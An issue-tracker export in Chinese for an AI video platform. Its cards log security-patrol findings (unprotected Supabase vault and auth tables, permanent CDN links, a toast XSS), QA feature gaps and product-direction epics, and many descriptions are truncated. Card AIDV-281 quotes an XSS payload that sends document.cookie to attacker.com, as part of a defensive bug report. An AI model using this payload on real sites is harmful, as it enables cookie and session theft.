描述：**\*\*來源\*\***：自動資安巡檢 C2 (2026-06-22)。[注意] **\*\*對 main HEAD 複驗後再修\*\***——本卡 C 項 (rate-limit store) 可能已過時：巡檢讀的是舊 worktree，但 prod log 顯示已有 "Redis-backed store active" (PR #955 後)，main 上 Redis client 應已接，請先確認。 **\*\*A)** 全域 50MB body + rawBody 套用每一條路由 (中) — server/\_core/index.ts:401-411 **\*\*`express.json({limit:'50mb', verify})` 全域掛載，`verify` 對\*\*每個 request\*\* 把原始 bytes 存 `req.rawBody` (本意只給 webhook HMAC，卻全跑)。效果：每請求保留 50MB raw Buffer + 解析後物件 (V8 heap 可膨脹數倍)。未授權端點 `api/auth/login`、`register`、`forgot-password`**

PR：#955

程式碼錨點：(碼中無 AIDV-265 註記)

AIDV-266 [資安巡檢 healing-studio] vault.secrets 表未啟用 RLS，機密資料恐遭未授權存取

漏洞 · Backlog · 優先 High · labels 資安巡檢

描述：**\*\*問題描述** 在 healing-studio Supabase 專案 (ID: `vllsoxwruwfdaxdbjwi`，region: ap-northeast-1) 的資安巡檢中發現，`vault.secrets` 資料表的 Row Level Security (RLS) 未啟用 (`relrowsecurity = false`，`relnforcerowsecurity = false`)。`vault.secrets` 是 Supabase Vault 用來儲存加密機密 (如 API 金鑰、密碼、token) 的核心資料表。若 RLS 未啟用，任何具有 `vault` schema 存取權的資料庫角色 (包括 `authenticated`、`anon` 等) 都可能在無政策限制的情況下讀取全部機密資料。 **\*\*影響範圍\*\*** 資料表：`vault.secrets` **\*\*風險：未授權的資料庫角色可能繞過存取控制直接讀取加密機密內容 \* 嚴重程度：High (若 vault 中已存有機密資料) ## 重現步驟 ``sql SELECT reln**

程式碼錨點：(碼中無 AIDV-266 註記)

AIDV-267 [資安巡檢 healing-studio] auth schema 中 7 張 OAuth/WebAuthn 資料表未啟用 RLS

漏洞 · Backlog · 優先 High · labels 資安巡檢

描述：**\*\*問題描述** 在 healing-studio Supabase 專案 (ID: `vllsoxwruwfdaxdbjwi`) 的資安巡檢中發現，`auth` schema 中有 7 張資料表未啟用 Row Level Security (RLS)： | 資料表 | rowsecurity | | --- | --- | | `auth.custom\_oauth\_providers` | false | | `auth.oauth\_authorizations` | false | | `auth.oauth\_client\_states` | false | | `auth.oauth\_clients` | false | | `auth.oauth\_consent` | false | | `auth.webauthn\_challenges` | false | | `auth.webauthn\_credentials` | false | 雖然 `auth` schema 通常由 Supabase GoTrue 服務管理，這些表格在 Sup

程式碼錨點：(碼中無 AIDV-267 註記)

AIDV-268 [QA探查 R15] /video 缺少程式化影片建立 API：無 headless REST/tRPC 端點，多代理系統無法非介面呼叫生成

故事 · Backlog · 優先 High · labels api,qa-explore,routing-gap

描述：**\*\*探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `video` 工作流目前完全以 UI 為中心設計，\*\*缺乏供外部系統或 AI Agent 直接呼叫的程式化 API\*\*。**創作者 (尤其是技術型與接案者) 無法： 1. 從自己的 CI/CD pipeline、n8n 工作流、或 AI Agent 直接觸發影片生成 2. 以 API key (Bearer token) 進行機器對機器 (M2M) 認證，取代 session cookie 3. 取得可分享的 API 端點文件 (OpenAPI spec / Swagger) 4. 在非瀏覽器環境 (CLI、Python、Node script) 提交 `video\_config` 並查詢任務狀態 結果是：希望將影片生成整合進自動化流程的技術創作者、代理商、或 SaaS 整合商完全無法使用本系統，必須繞道

程式碼錨點：(碼中無 AIDV-268 註記)

AIDV-269 [QA探查 R15] /video 缺少創作者端 Webhook/Callback：非同步生成完成後無主動通知機制，代理整合須輪詢

故事 · Backlog · 優先 High · labels api,qa-explore,routing-gap

描述：**\*\*探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `video` 影片生成為非同步長時任務 (通常需 30 秒至數分鐘)，但系統\*\*缺乏創作者端的 webhook/callback 通知機制\*\*。**創作者的外部系統 (自動化工具、AI Agent、接案管理平台) 必須： 1. 不斷輪詢 (polling) `video/{job\_id}/status`，浪費 API 請求配額 2. 無法被動接收「影片已完成」事件，進而自動觸發下游工作 (如：通知客戶、上傳 YouTube、發布貼文) 3. 沒有失敗/重試事件通知，生成失敗時外部系統無從得知 注意：系統內部的 Fal.ai webhook (AIDV-169) 屬於服務對服務的內部回調，**\*\*不是面向創作者的外部 webhook\*\***。 --- **\*\*多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重**

程式碼錨點：(碼中無 AIDV-269 註記)

AIDV-270 [QA探查 R15] /video 缺少多模態輸入支援：無法同時傳入影像 + 文字 + 音訊作為生成素材，創意控制受限

故事 · Backlog · 優先 High · labels creator-blocker,qa-explore,routing-gap

描述：## 探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `~/video` 目前接受的輸入主要為\*\*文字腳本\*\*，創作者無法同時提供多種模態的素材讓 AI Director 整合生成：1. 無法上傳\*\*參考影像\*\*（品牌視覺、產品圖、情緒板）作為視覺風格指引 2. 無法提供\*\*背景音訊\*\*（BGM 檔、音效包）並讓 AI 在生成時混入 3. 無法同時傳入「文字腳本 + 圖片素材 + 音訊素材」做統一的多模態生成請求 4. 目前輸入路由為純文字 -> Fal.ai 視覺生成路徑，沒有 multipart/mixed 輸入支援 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | | --- | | 新手 (Newcomer) | 希望放入幾張照片讓 AI 幫忙做成影片，目前不支援 | 高 | | 接案

程式碼錨點：(碼中無 AIDV-270 註記)

AIDV-271 [QA探查 R15] /video 匯出格式僅 MP4：無 WebM/GIF/ProRes 選項，網頁嵌入與動態圖需求完全封鎖

故事 · Backlog · 優先 High · labels export,qa-explore,routing-gap

描述：## 探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `~/video` 目前匯出格式固定為 MP4 (H.264)，創作者無法選擇其他常用的影片格式：1. 無 \*\*WebM (VP9)\*\* — 網頁原生影片嵌入最佳格式，瀏覽器無需外掛，檔案更小 2. 無 \*\*GIF / Animated WebP\*\* — 社群貼文、Discord 表情、電子郵件行銷中廣泛使用的動態圖格式 3. 無 \*\*ProRes / MOV\*\* — 廣播媒體、影視後製工作流的標準無損格式 4. 無格式選擇 UI — 匯出設定面板缺少「輸出格式」下拉選單 結果是：網頁開發者需要額外轉換工具，設計師無法直接得到 GIF，廣播客戶不接受 MP4 交付。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | | --- | | 新手

程式碼錨點：(碼中無 AIDV-271 註記)

AIDV-272 [QA探查 R15] /video 缺少影片分析數據看板：創作者無法追蹤影片觀看次數、完播率、互動數據

故事 · Backlog · 優先 High · labels analytics,qa-explore,routing-gap

描述：## 探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `~/video` 生成完成後，創作者完全無法得知影片的使用效果。系統缺乏`/\*`影片分析數據 (Video Analytics) `/\*`功能：1. 無影片觀看次數 (views) 追蹤 2. 無完播率 (completion rate) 或觀看時長分析 3. 無平台互動數據 (分享數、點讚數) 彙整 4. 無 Dashboard 呈現「哪些影片表現最好」的洞察 5. 無法比較不同版本影片 (A/B 測試結果) 的表現 結果是：創作者在生成數十支影片後，完全不知道哪些有效、哪些應該改進，AI Director 無法形成「生成 -> 分析 -> 優化」的閉環，失去平台的核心智慧價值。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- | | --- | | 新手 (

程式碼錨點：(碼中無 AIDV-272 註記)

AIDV-273 [QA探查 R15] /video 創作者生成配額完全不透明：無用量儀表板、無剩餘額度顯示、無超額預警

故事 · Backlog · 優先 High · labels creator-blocker,qa-explore,ux-gap

描述：## 探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `~/video` 生成消耗創作者的點數/配額，但系統對創作者\*\*完全不透明\*\*：1. 生成前無法看到「此次生成預計消耗多少點數」 2. 生成中/後無即時剩餘配額顯示 (Dashboard 無配額儀表板) 3. 無「剩餘 N 次生成」或「本月已用 X / 上限 Y」的進度條 4. 無快到上限時的預警通知 (Email / 站內通知) 5. 接近超額時無法暫停或調整生成策略 注意：AIDV-208 已追蹤「apiUsage alertConfigs 告警永不觸發」的技術 bug，但尚無創作者端的\*\*用量可見性 UX\*\*。

AIDV-265 追蹤的是 DoS 安全層面的速率限制，非創作者面向的配額透明度。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- |

連結資料表 (1)：alert\_configs

程式碼錨點：(碼中無 AIDV-273 註記)

AIDV-274 [QA探查 R15] /video AI Director 風格參數缺失：無視覺風格、節奏、轉場、運鏡調控，生成影片千篇一律

故事 · Backlog · 優先 High · labels creator-blocker,qa-explore,routing-gap

描述：## 探查來源 \* 來源：QA探查 R15 · /video endpoint multi-agent creator walk-through \* 時間戳：2026-06-22 UTC \* 執行者：aidv-qa-explore R15 --- ## 問題描述 `~/video` 的 AI Director 生成引擎缺乏\*\*創作者可調控的風格參數 (Style Parameters)\*\*，所有生成結果使用固定的系統預設風格，創作者無法：1. 選擇視覺風格（電影感/紀錄片/廣告風/動漫/極簡）2. 調整節奏（快節奏剪輯 vs 舒緩敘事）3. 設定轉場偏好（淡入淡出/閃切/滑動/無轉場）4. 控制運鏡風格（固定鏡頭/推拉搖移/手持感/航拍視角）5. 設定色調/濾鏡（暖色/冷色/高對比/電影感 LUT） 結果是：所有由 AI Director 生成的影片視覺語言高度相似，無法差異化，品牌方無法建立獨特的視覺識別，接案者無法滿足不同客戶的風格需求。 --- ## 多代理創作者評估 | 代理人格 | 痛點描述 | 嚴重度 | | --- |

程式碼錨點：(碼中無 AIDV-274 註記)

AIDV-275 [opt] Supabase RLS 全面補強收斂：vault.secrets + auth schema 7 表 RLS 啟用——一次 migration 收斂

AIDV-266/AIDV-267，消除 C10 資料隔離漏洞

故事 · 進行中 · 優先 High · labels C10,backend,convergence,opt,opt-card,rls,security,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-22 UTC) \*\*安全巡檢模態輸入 (C10)\*\*：| 來源卡 | 漏洞描述 | 嚴重程度 | | --- | | --- | | --- | | AIDV-266 | `~vault.secrets` 表 RLS 停用，任何已認證用戶可讀取所有 secrets | PO CRITICAL | | AIDV-267 | GoTrue v2.190.0 新建的 7 張 OAuth/WebAuthn auth schema 表缺少 RLS | PO HIGH | \*\*收斂判斷\*\*：兩個問題均屬 Supabase Row Level Security 配置缺口，修復模式完全相同（`ALTER TABLE ... ENABLE ROW LEVEL SECURITY` + 對應 policy），可在同一次 migration 一次性修復，共用同一個 security regression suite 驗證，避免兩次部署風險。 --- ## 收斂設計 ### 修復範圍 \*\*AID

程式碼錨點：(碼中無 AIDV-275 註記)

## AIDV-276 [opt] 程式化 API 整合層收斂：headless REST + API key 鑑權 + webhook 回調——一次 PR 收斂

### AIDV-268/AIDV-269，解鎖 B2B/自動化市場

故事 · Backlog · 優先 High · labels api,backend,convergence,decision,frontend,opt,opt-card,wave-i,webhook

描述：## 收斂來源 aidv-optimize-hourly 四模態收割（2026-06-22 UTC）\*\*QA R15 模態輸入\*\*：| 來源卡 | 缺口描述 | 狀態 | | --- | | --- | | --- | | AIDV-268 | 程式化影片建立 API（headless REST + API key + OpenAPI spec） | Backlog | | AIDV-269 | Creator 端 webhook/callback（`video.completed` / `video.failed` 事件） | Backlog | \*\*收斂判斷\*\*：AIDV-268（程式化 REST API）與 AIDV-269（webhook 回調）共享同一個整合表面：外部開發者/自動化系統呼叫 API 觸發影片生成，並透過 webhook 異步接收結果。兩者缺一不可——沒有 webhook，API 呼叫者只能輪詢；沒有 REST API，webhook 無從觸發。同一個 API key 管理機制、同一個 rate limiting 層、同一個

連結資料表 (1)：users

程式碼錨點：(碼中無 AIDV-276 註記)

## AIDV-277 [opt] Creator 可見性智能層收斂：用量配額透明度 + 影片分析儀表板——一次 PR 收斂 AIDV-272/AIDV-273，建立 Creator 留存數據飛輪

故事 · Backlog · 優先 High · labels analytics,backend,convergence,creator-ux,decision,frontend,opt,opt-card,wave-i

描述：## 收斂來源 aidv-optimize-hourly 四模態收割（2026-06-22 UTC）\*\*QA R15 模態輸入\*\*：| 來源卡 | 缺口描述 | 狀態 | | --- | | --- | | --- | | AIDV-273 | Creator 配額透明度（用量計量表、預生成費用估算、超限預警） | Backlog | | AIDV-272 | 影片分析儀表板（觀看數、完成率、A/B 洞察） | Backlog | \*\*收斂判斷\*\*：AIDV-273（配額/用量）與 AIDV-272（分析儀表板）均屬「Creator 可見性」功能集——讓 Creator 理解自己的使用狀況與內容表現。兩者共享同一個前端數據層（`/creator/dashboard`），共用相同的 Supabase views + tRPC query 層，且 \*\*配額用量數據本身就是分析的一部分\*\*（「我這個月生成了多少影片」同時回答配額問題與分析問題）。同一個 dashboard PR 實作，避免兩個各自半完整的 UI 頁面。--- ## 收斂設計 ### 架

連結資料表 (1)：users

程式碼錨點：(碼中無 AIDV-277 註記)

## AIDV-278 [QA探查 R10] /video 成品無線上播放器：生成完成後無試看入口，創作者只能盲下載才知品質

故事 · Backlog · 優先 High · labels qa-explore,ux-gap,wave-i

描述：## 探查來源 QA 探查 R10 · director.today/video 創作者走查（2026-06-22 02:08 UTC）測試專案「2」· 積分 1379 全程未變（零扣點）## 問題描述 (F16) \*\*成品交付缺口一：無線上播放器\*\* 創作者完成影片生成後，/video 頁面只提供「下載 MP4」選項，沒有任何線上播放入口：1. 無嵌入式 `<video>` 播放器——無法在瀏覽器直接試看 2. 無靜音預覽 (autoplay muted loop) ——分享前無法確認內容 3. 下載後才發現品質問題（錯誤旁白、畫面不對）-> 重生成浪費積分 4. 無章節 / 進度條——多鏡頭長片無法跳到問題片段 ## 多代理創作者評估（4 人格）| 人格 | 評估 | | --- | | --- | | | 新手 | | raise：「下載了才知道不對，不知道可以重試」 | | | 接案者 | | blocker：「交稿前沒辦法給客戶看，必須自己下載上傳到別的平台」 | | 品牌方 | raise：「企業影片審核需要在線播放連結，不能用下載檔」 | | 技術型創

程式碼錨點：(碼中無 AIDV-278 註記)

## AIDV-279 [QA探查 R10] /video 無分段重生成：成品品質不佳時只能全部重做，迭代成本極高

故事 · Backlog · 優先 High · labels qa-explore,ux-gap,wave-i

描述：## 探查來源 QA 探查 R10 · director.today/video 創作者走查（2026-06-22 02:08 UTC）測試專案「2」· 積分 1379 全程未變（零扣點）## 問題描述 (F17) \*\*成品交付缺口二：無分段重生成（Segment-level Regeneration）\*\* 創作者對生成結果某一個鏡頭/片段不滿意時，目前唯一選項是「重新生成整部影片」：1. 無「只重跑第 N 鏡」按鈕 2. 無腳本局部修改後部分重生成 (Inpaint-like workflow) 3. 整部重生成 = 全額扣點，調整一個鏡頭付整部費用 4. 歷史版本不保留（重生成後前一版消失） \*\*量化衝擊\*\*（多代理評估）：\* 接案者：5 分鐘廣告影片通常需要 3-5 次迭代，每次全部重做 = 費用×3-5× \* 品牌方：品牌合規需逐鏡確認，分段重審核是硬性需求 ## 多代理創作者評估（4 人格）| 人格 | 評估 | | --- | | --- | | | 新手 | | raise：「一鏡不對要重做全部，好浪費點數」 | | 接案者 | bloc

程式碼錨點：(碼中無 AIDV-279 註記)

## AIDV-280 [資安巡檢C3] /video 成品 CDN URL 無簽名時效：任何人取得連結後可永久訪問他人付費影片

漏洞 · Backlog · 優先 High · labels bola,healing-studio,security,wave-i

描述：## 探查來源 healing-studio-sec-patrol C3 · 系統性安全巡檢（2026-06-22 02:13 UTC）## 漏洞描述 \*\*類別：Broken Object-Level Access Control (BOLA / IDOR) + 敏感資料永久暴露\*\* 當影片生成完成後，`videoProject.outputUrl` 直接存儲 Fal.ai CDN 永久 URL（格式：`https://v3.fal.media/files/<hash>/output.mp4`）：1. URL 無時效性簽名（無 `?Expires=&Signature=` 等參數）——取得 URL 後永久有效 2. URL 未受後端 ownership 驗證保護——繞過系統直接訪問 3. 用戶分享或意外洩露 URL 後，無法「撤銷」訪問權限 4. 企業付費內容、品牌影片草稿長期暴露 ## 攻擊場景 ``` 1. 攻擊者透過 AIDV-243 (videoProject.get IDOR, 仍 Backlog) 取得他人 outputUrl 2. 或透過

程式碼錨點：(碼中無 AIDV-280 註記)

## AIDV-281 [資安巡檢C3] /video toast 通知 innerHTML 渲染：腳本內容含 HTML/JS 時可觸發 Reflected XSS

漏洞 · Backlog · 優先 High · labels healing-studio,security,wave-i,xss

描述：## 探查來源 healing-studio-sec-patrol C3 · 系統性安全巡檢（2026-06-22 02:13 UTC）## 漏洞描述 \*\*類別：Cross-Site Scripting (XSS) — Reflected / DOM-based\*\* `director.analyzeScriptOverview` (AIDV-180 根因卡) 在返回錯誤時，前端 toast 元件可能使用 `innerHTML` 渲染後端錯誤訊息。若錯誤訊息中包含了用戶輸入的腳本內容片段（例如截斷提示），攻擊者可構造含 JS 的腳本觸發 XSS： \*\*攻擊向量\*\*： ``` 腳本輸入：<img src=x onerror="fetch('https://attacker.com/'+document.cookie)"> -> director.analyzeScriptOverview HTTP 400 返回： { error: "解析失敗：<img src=x onerror=...> 不是有效的腳本" } -> 前端 toast: <div dange

程式碼錨點：(碼中無 AIDV-281 註記)

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |       |                |   |           |    |    |
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------|----------------|---|-----------|----|----|
| AIDV-282                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | [opt] | 成品交付體驗收斂：線上播放器 | + | 分段重生成——一次 | PR | 收斂 |
| AIDV-278/AIDV-279，解鎖「試看->迭代」成交段                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |       |                |   |           |    |    |
| 故事 · Backlog · 優先 High · labels opt,ux-gap,wave-i                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |       |                |   |           |    |    |
| 描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-22 02:27 UTC) **QA R10 模態輸入**：  來源卡   缺口描述   狀態     ---     ---     ---     AIDV-278   /video 完成頁無線上播放器，創作者只能盲下載 (4/4 blocker)   Backlog     AIDV-279   無分段重生成，調整一鏡付全片費用 (4/4 raise/blocker)   Backlog   **跨輪多代理 topGaps (R7-R10 反覆出現)**： * 成品免費預覽 (帶聲音字幕) — 4/4 人格跨 4 輪提及 * 逐句改稿/只重生某段 — 接案者/品牌方必需功能 **收斂判斷**： AIDV-278 (播放器) 與 AIDV-279 (分段重生成) 共享同一個前端工作表面 (`/video` 完成頁 + 分鏡頁)，共用 `videoProject.outputUrl` 資料，且**先看再改**是同一個使用者流程的兩步。同一個 PR 實作可共用 `videoSegment` 程式碼錨點： (碼中無 AIDV-282 註記) |       |                |   |           |    |    |

## AIDV-283 [opt] toast XSS 快修收斂：全站 innerHTML->textContent 置換 + CSP header——一次 PR 收斂 AIDV-281，阻斷 C3 XSS 向量

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |  |  |  |  |  |  |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--|--|--|--|--|--|
| 故事 · 進行中 · 優先 High · labels opt,security,wave-i,xss                                                                                                                                                                                                                                                                                                                                                                                                                                                          |  |  |  |  |  |  |
| 描述：## 收斂來源 aidv-optimize-hourly 四模態收割 (2026-06-22 02:27 UTC) **安全模態輸入 (C3)**：  來源卡   漏洞描述   嚴重程度     ---     ---     ---     AIDV-281   toast/notification innerHTML 渲染->Reflected XSS 向量   HIGH   **設計門判斷**：**自動通過**——純前端 React children 文字節點替換，零後端風險，無 DB migration，無 prod 行為變更 (只改 escape 方式)，無新外部依賴。 --- ## 收斂設計 ### 修復清單 (逐一審查) **1. Toast 元件** ``tsx // app/components/ui/toast.tsx // 修復前 (危險)： <ToastDescription dangerouslySetInnerHTML={{ __html: message }} /> // 修復後 (安全)： <ToastDescription>{me |  |  |  |  |  |  |
| 程式碼錨點： (碼中無 AIDV-283 註記)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |  |  |  |  |  |  |

## AIDV-284 Wave G：目標導向定位 · 自有素材 AI 專案管理系統 (產品北極星)

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |  |  |  |  |  |  |
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--|--|--|--|--|--|
| 大型工作 · Backlog · 優先 Medium · labels internal,north-star,wave-g                                                                                                                                                                                                                                                                                                                                                                                                                                            |  |  |  |  |  |  |
| 描述：> **這是什麼**：Bruce 2026-06-22 在 LINE 群 (林志忠／柏能／簡侑俊／田子杰…) 對外說明、並指示「可寫入 Jira、方向大約定稿」的**產品方向定盤**。本 Epic 當作 AI Director 下一階段的**北極星 (定位)**，統攝既有各 Wave、不重複造輪子。白話：把「網站要往哪走」釘成一張看得見的卡。(G=Goal-oriented) ## 一、核心定位 (北極星) * **完全轉向「目標導向」**：操作時要有「一步步把專案往前推」的感覺；系統先掌握專案的上下文脈絡，徹底解決過去生成影片／圖／腳本時「AI 不懂前後因果 -> 抓不到重點、頻頻脫靶」的痛點。 * **定位更偏向「自有素材的 AI 專案管理系統」**：以使用者自有素材為核心，AI 圍著專案脈絡運轉。 * **定位性質 (2026-06-22 Bruce 已定)**：這是**疊加在現有「四殼一脊椎」影片架構上的定位視角／操作哲學＝演進，不是重定位、不打掉重練**。與 **AIDV-125 Wave S「路線 A 非重定位」一致**——核心影片創作引擎與既有 |  |  |  |  |  |  |
| 程式碼錨點： (碼中無 AIDV-284 註記)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |  |  |  |  |  |  |

## AIDV-285 G-1 個人儲存空間 (3-5GB 基礎) + 個人雲端硬碟連接 (未來 MCP 本機檔案直連)

|                                                                                                                                                                                                                                                                                                                                                                                                              |  |  |  |  |  |  |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--|--|--|--|--|--|
| 故事 · Backlog · 優先 Medium · 父卡 AIDV-284 · labels internal,storage,wave-g                                                                                                                                                                                                                                                                                                                                      |  |  |  |  |  |  |
| 描述： **Wave G 儲存卡**：給每位使用者 3-5 GB 基礎儲存放自有素材，並支援連接個人雲端硬碟；未來透過 MCP 直連本機端檔案，讓「自有素材」真正成為專案脈絡的一部分。 ## 範圍 * 每使用者 **3-5 GB** 基礎儲存配額 (自有素材／二次創作來源)。 * 連接**個人雲端硬碟** (Google Drive 等) 作為素材來源。 * 未來：透過 **MCP** 實作本機端檔案直接連結 (接 Wave 4 BYOMCP/AIDV-34；屬遠期)。 ## 完成定義 * 使用者可上傳並管理自有素材，受 3-5 GB 配額管控。 * 至少一種個人雲端硬碟可連接並讀取素材。 ## 關聯 父 Epic **AIDV-284** (Wave G) ； MCP 本機直連接 Wave 4 BYOMCP (AIDV-34) ；配額管控接 **G-2** / AIDV-124。 |  |  |  |  |  |  |
| 程式碼錨點： (碼中無 AIDV-285 註記)                                                                                                                                                                                                                                                                                                                                                                                     |  |  |  |  |  |  |

## AIDV-286 G-2 成本與額度政策定盤 (固定 vs 變動數字、模型訓練趨近免費 + 雲端算力配額)

|                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |  |  |  |  |  |  |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--|--|--|--|--|--|
| 故事 · Backlog · 優先 Medium · 父卡 AIDV-284 · labels cost,internal,wave-g                                                                                                                                                                                                                                                                                                                                                                                                                                                     |  |  |  |  |  |  |
| 描述： **Wave G 成本政策卡**：把 LINE 定盤的成本／額度數字釘成可執行政策——這是「自有素材 AI 專案管理系統」能長期營運的前提。 ## 政策數字 (2026-06-22 定盤，可調) * **固定營運**：主機 US\$5-10/月 + 大容量儲存 US\$5-10/月。 * **變動生成**：每使用者組別 AI 代理 + 生成額度，嚴限 **US\$20-40 或更低**。 * **趨近免費範圍**：本機圖像處理／工作流建立／純文字生成 -> 免費。 * **配額制**：需大量雲端算力者 (生圖／生影片／重模型) 走配額。 ## 範圍 * 把上述拆成每組／每使用者的硬上限與軟提醒。 * 與既有「先估成本->確認->先扣->生成->失敗全額退」閉環對齊。 ## 完成定義 * 每組有可設定的固定 + 變動上限；超額擋下並提示。 * 免費範圍與配額範圍在系統內有明確界線。 ## 關聯 父 Epic **AIDV-284** (Wave G) ；落帳接成本歸屬 AIDV-14、Wave 2 成本計算 2-11 (AIDV-32) ；配額接 AIDV-124 ；Skill 成本維度 |  |  |  |  |  |  |
| 程式碼錨點： (碼中無 AIDV-286 註記)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |  |  |  |  |  |  |

## AIDV-287 G-3 設定簡化 + 提示詞自動收集 (降低操作複雜度，好用 prompt 自動入庫)

|                                                                                                                                                                                                                                                                                                                                                                                |  |  |  |  |  |  |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--|--|--|--|--|--|
| 故事 · Backlog · 優先 Medium · 父卡 AIDV-284 · labels internal,uiux,wave-g                                                                                                                                                                                                                                                                                                           |  |  |  |  |  |  |
| 描述： **Wave G 體驗卡**：把複雜／非必要設定收起來，讓好用的提示詞自動被收集儲存——支撐「目標導向、一步步推進」的操作感。 ## 範圍 * 盤點現有設定，分「常用露出／進階收合／移除」三類，砍非必要選項。 * **提示詞自動收集**：生成成功的好用 prompt 自動入提示詞庫 (接既有 promptVault/AIDV-107)，可標記／重用。 * 與 Wave U UIUX (AIDV-74) 的目標導向流程整合。 ## 完成定義 * 預設介面只露常用設定；進階可展開。 * 一次成功生成後，該 prompt 可被自動／一鍵入庫並在他處重用。 ## 關聯 父 Epic **AIDV-284** (Wave G) ；promptVault 接 AIDV-107 ；UIUX 接 Wave U (AIDV-74)。 |  |  |  |  |  |  |
| 程式碼錨點： (碼中無 AIDV-287 註記)                                                                                                                                                                                                                                                                                                                                                       |  |  |  |  |  |  |

## AIDV-288 G-4 平台對外 MCP 化／本機系統版（讓 Claude 等外部代理連結操作）— 研究向／待議

故事 · Backlog · 優先 Medium · 父卡 AIDV-284 · labels internal,research,wave-g,待議

描述： \*\*Wave G 研究卡（\*\*待議／遠期）：探索把整個平台「\*\*包裝成 MCP 伺服器對外\*\*」、並做出\*\*本機系統版\*\*，讓 Claude 等外部 AI 代理直接連結操作 AI Director 的能力。Bruce 原話：「這是我未來開發研究的方向。」 ## 方向（研究，未定稿） \* 平台能力以 \*\*MCP 對外暴露\*\*（與 Wave 4 BYOMCP \*\*反方向\*\*：BYOMCP 是「消費外部 MCP」，本卡是「平台\*\*當 MCP 伺服器\*\*被別人用」）。 \* \*\*本機系統版\*\*：可在個人機器跑，營運成本分攤到個人。 \* 評估：哪些能力對外、權限／金鑰邊界（接內部治理 AIDV-121／123）、與 Skill 工作層（Wave S）的關係。 ## 暫不做 \* 先不實作；本卡用來收斂研究與決策，待 Bruce 拍板再升為開發卡。 ## 關聯 父 Epic \*\*AIDV-284\*\*（Wave G）；反方向參照 Wave 4 BYOMCP（AIDV-34）；治理接 AIDV-121／123；能力暴露與 Wave S（AIDV-125）相關。

程式碼錨點：（碼中無 AIDV-288 註記）

## AIDV-289 [QA探查R16] /video 多代理呼叫缺分散式追蹤：無 X-Request-ID/TraceID 傳遞，跨代理 debug 無法對帳日誌——多代理編排場景全盲

漏洞 · Backlog · 優先 High · labels P1,creator-blocker,multi-agent,qa-explore,routing-gap,video,wave-i

描述： ## 探查來源 aidv-qa-explore R16 · 多代理創作者需求評估（2026-06-22 03:02 UTC） ## 問題描述 \*\*類別：可觀測性缺口 / 多代理整合阻礙\*\* `~/video` tRPC endpoints 目前不接受也不傳遞任何 correlation / tracing header： \* \*\*無\*\* `X-Request-ID`：呼叫端（上游代理）無法在 Railway logs 中找到對應的 server-side span \* \*\*無\*\* `traceparent` / W3C TraceContext：無法與外部 OpenTelemetry 收集器串接 \* \*\*無\*\* `jobId` -> `requestId` 對帳：SSE 事件 stream 返回的 `jobId` 和請求時送入的追蹤 ID 沒有綁定關係 \*\*多代理場景復現步驟\*\*： `` Agent-A -> POST /trpc/videoProject.create (requestId:"agentA-001") Server -> returns

程式碼錨點：（碼中無 AIDV-289 註記）

## AIDV-290 [QA探查R16] /video API 無 per-client 配額隔離：多代理共享 API key 時無法歸因用量——超額時代理彼此打架，無法 debug 誰消耗配額

漏洞 · Backlog · 優先 High · labels creator-blocker,decision,multi-agent,qa-explore,quota,routing-gap,video,wave-i

